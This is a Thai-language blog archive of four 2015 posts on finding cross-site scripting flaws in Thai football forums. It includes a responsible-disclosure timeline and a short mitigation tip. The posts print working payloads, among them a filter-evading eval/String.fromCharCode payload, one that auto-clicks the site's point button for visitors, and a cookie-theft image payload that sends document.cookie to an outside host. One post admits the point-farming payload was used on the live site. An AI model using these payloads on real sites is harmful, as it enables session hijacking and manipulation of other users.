Archive

Archive for the ‘XSS’ Category

xss บน soccersuck 3

September 28th, 2015 Comments off

Timeline :
27 Sep 2015 – แจ้ง vulnerability ให้กับโปรแกรมเมอร์เว็ป
27 Sep 2015 – โปรแกรมเมอร์แจ้งว่าปิด tag scirpt บริเวณลายเซนต์แล้ว
27 Sep 2015 – ทดสอบตามที่โปรแกรมเมอร์แจ้ง
28 Sep 2015 – แจ้งว่ายังสามารถแทรก tag iframe และใช้ payload <IFRAME SRC=”javascript:alert(0)”></IFRAME>
28 Sep 2015 – โปรแกรมเมอร์แก้ไขปัญหา iframe

Report: สามารถแทรก tag script ในลายเซนต์ได้
Category: XSS
Step to reproduce:
1. ไปหน้า user edit ลายเซนต์
2. แทรก <script>alert(0)</script> บริเวณลายเซนต์

ผลกระทบ:
– สามารถขโมยคุ๊กกี๊ แก้ไขคุ๊กกี๊เพื่อให้ login เป็น user ใด ๆ ก็ได้
– แสดงข้อความว่าถูกแบนแล้วแทรก iframe เพื่อขโมย user/pass แบบ plain text ได้
– ใช้ browser เป็น bot

รางวัล:
– ได้ยศ Hall of frame (ครับ frame ครับไม่ใช่ fame)
– แผล่บ 3,000 แผล่บ

**คล้าย ๆ ว่าถ้าโดนขโมย cookies แล้วจะสามารถ login เป็น user นั้น ๆ ได้ตลอดจนกว่าเปลี่ยน
key ที่ใช้สร้าง cookies ครับ (soccersuck ใช้ CakePHP ครับ)

Categories: Security, XSS Tags:

xss บน ss อีกละ ภาค 2

July 27th, 2015 Comments off

หลังจากผมโดนปลดแบนใน ss แน่นอนครับ ภารกิจอันดับแรกคือหาว่ายังทำ xss

บน ss ได้หรือเปล่า ผมลองวิธีเดิมครับ

x” onmouserover=document.getElementsByClassName(‘addpoint_button’)[0].click();//

ปรากฏว่าโปรแกรมเมอร์กรองคำว่า onmouse getElementsByClassName และ addpoint_button

ออกครับถ้าทำแบบด้านบนจะเหลือแค่ over=document.(”)[0].click();// ทำให้ code ทำงานไม่ได้ครับ

มันก็เลยเกิดคำถามว่าทำไมตอนที่เราทดสอบ xss เราต้องใช้ alert() แค่ function เดียวจะทำอะไรได้ ?

ผมก็ค้นจนเจอว่าจริงแล้ว function ที่ต้องกลัวคือ eval() ตัว eval จะรับเอา string มาแล้วรันเป็น code ครับ

ดังนั้นผมก็เลยปรับโค้ดเป็น

onwheel=”a=String.fromCharCode(39)+String.fromCharCode(97)+String.fromCharCode(100)
+String.fromCharCode(100)+String.fromCharCode(112)+String.fromCharCode(111)+
String.fromCharCode(105)+String.fromCharCode(110)+String.fromCharCode(116)+
String.fromCharCode(95)+String.fromCharCode(98)+String.fromCharCode(117)+
String.fromCharCode(116)+String.fromCharCode(116)+String.fromCharCode(111)
+String.fromCharCode(110)+String.fromCharCode(39);eval(‘document.ge’+’tElementsB’
+’yClassName(‘+a+’)[0].click()’);//

คือ ถ้า onmouse โดนบล๊อคก็เหลือ event อีกหลาย ๆ แบบ onwheel onerror ที่สามารถใช้งานได้

ถ้า string โดนกรองออกเราก็ใช้ eval หลบโดยการแยก string ออกเป็นส่วน ๆ

แบบนี้ document.ge’+’tElementsB’+’yClassName เพื่อหลบการกรองคำ หรือใช้ fromcharcode เพื่อหลบตัวอักษร

บางตัวก็ได้ครับ จริง ๆ ผมเรียนรู้อะไรเยอะจากครั้งนี้สรุปได้ดังนี้ครับ

– กรองคำบางคำออกไม่เวิร์คแน่ ๆ ต้องกรองพวก ‘ ” ( ) < > พวกนี้ออกจะแก้ได้ค่อนข้างแน่นอน

– ที่เวลาทดสอบทำ alert เพราะกลัว eval

– ถ้าเราสามารถทำ xss ได้แล้วเราสามารถแก้ไข html ที่จุดอื่น ๆ ได้ เช่น แก้ signnature ได้

จากจุดนี้เอาประยุกต์ใช้ได้หลายอย่าง

– ถ้าจะขโมย cookie จาก tag img ทำแบบนี้ครับ

<img src=x onerror=’new Image().src=”http:///?x=”+document.cookie’>

Categories: Security, XSS Tags:

xss บน soccersuck อีกละ

April 17th, 2015 Comments off

รู้สึกว่าผมจะทำ xss บน soccersuck ได้อีกละแฮะ ปรับพวกฟันหนูนิดหน่อย

คือสถานการณ์ตอนนี้คือ <> ถูก block ไม่ให้ใช้เวลา comment (กลายเป็น &lt &gt)

แต่ bbcode [img] ยังสามารถใช้ได้ผมทำ xss จากตรงนี้ครับ โดยอะไรก็ตามที่อยู่ระหว่าง

[img]http://path-to-image[/img] จะกลายเป็น <img src=”http://path-to-image”>

ดังนั้นถ้าเราใส่ค่า ระหว่า bbcode เป็น [img]http://path-to-image” onload=alert(‘xss’);//[/img]

กลายเป็นว่าผมสามารถแทรก javascript ลงไปได้ โดยจะทำงานตามเงื่อนไขทีผมกำหนด เช่น

onload onmouserover etc ทีนี้แล้วจะสั่งให้กดแผล่บโดยผ่าน dom ครับ โดยใช้

onmouserover=document.getElementsByClassName(‘addpoint_button’)[0].click();

คือเมื่อไหร่ที่มีคนเอา Mouse pointer ไปวางบนภาพให้กดแผล่บอันแรกบนหน้านั้น ๆ

จริง ๆ ผมเคยคาดการณ์ไว้แล้วว่าถ้าสามารถแทรก javascript ได้จะสามารถ

– หลอกเก็บ cookies หรือ บังคับกดแผล่บได้ แต่พอลองทำ windows.location เพื่อเอา cookies

ดันไม่เวิร์คแฮะ เพราะ URL เป็น tag <a href โดยอัตโนมัติ และผมยังหาวิธีแก้ไม่ได้

xss-result
รู้สึกจะมีคนเอาไป improvise เป็น src=x onerror=document.getElementsByClassName(‘addpoint_button’)[0].click();

ก่อนที่ผมจะโดนแบนนะ แบบนี้ได้แผล่บแน่ ๆ หละครับ

Categories: Security, XSS Tags:

XSS บน ssballthai.in.th

January 21st, 2015 Comments off

อีกปัญหาที่ผมพบบน ssballthai.in.th คือ เวลาตอบคอมเมนต์หรือตั้งกระทู้สามารถแทรก javascript ที่เป็น xss ได้ครับ ตอนนี้ยังมีปัญหาเหลืออยู่แต่จะอยู่ในการ preview ก่อนตอบหรือตั้งกระทู้ครับ

xss

ตรงนี้ปัญหาเกิดจากการแทรกรูปที่ยอมให้แทรก tag img ได้ครับ โค้ดที่ผมใช้ก็คือ onload=”alert(‘xss’)” เวลาที่ภาพโหลดขึ้นมาตัว javascript ก็จะทำงานครับ

 

จริง ๆ ผมไม่ค่อยเก่งเรื่อง javascript เท่าไหร่แต่เข้าใจว่าอย่างน้อยปัญหานี้ ทำให้สามารถตั้งกระทู้ที่ทุกคนที่เข้ามาในกระทู้สามารถแผล่บให้เราโดยอัติโนมัติได้ หรือบังคับให้โพสหรือส่ง cookie ไปยัง server ที่ต้องการได้ครับ ซึ่งทำให้สามารถเอา cookies ของ admin มาเป็นของตัวเองได้ (ส่วนนี้ถ้ามีใครเข้าใจการทำงานของ cookie รบกวนเพิ่มเติมให้ด้วยครับ เพราะเข้าใจว่าในปัจจุบันการขโมย cookie อย่างเดียวใช้ไม่ได้แล้วเพราะจะ cross check กับ ip address)

 

วิธีการป้องกัน xss ก็คือใช้พวก framework ที่มี feature ป้องกัน xss หรือพวก html puifier กรองโค้ดที่เป็นอันตรายออกก่อน

Categories: Security, XSS Tags: